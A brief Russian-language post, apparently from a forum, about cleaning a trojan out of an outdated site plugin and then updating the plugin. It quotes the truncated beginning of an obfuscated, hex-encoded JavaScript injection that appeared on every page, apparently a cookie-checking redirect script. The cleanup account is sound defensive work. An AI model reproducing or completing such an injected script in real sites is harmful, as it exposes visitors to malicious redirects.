Троян сидел в плагине, была старая версия плагина пришлось найти троян в плагине и очистить его, ну и затем обновить плагин до последней версии. Во всех страницах был скрипт var 0x26ee=["\x74\x64\x73\x6B\x6A","\x74\x65\x73\x74\x63\x6F\x6F\x6B\x69\x65","\x6D\x61\x74\x63\.......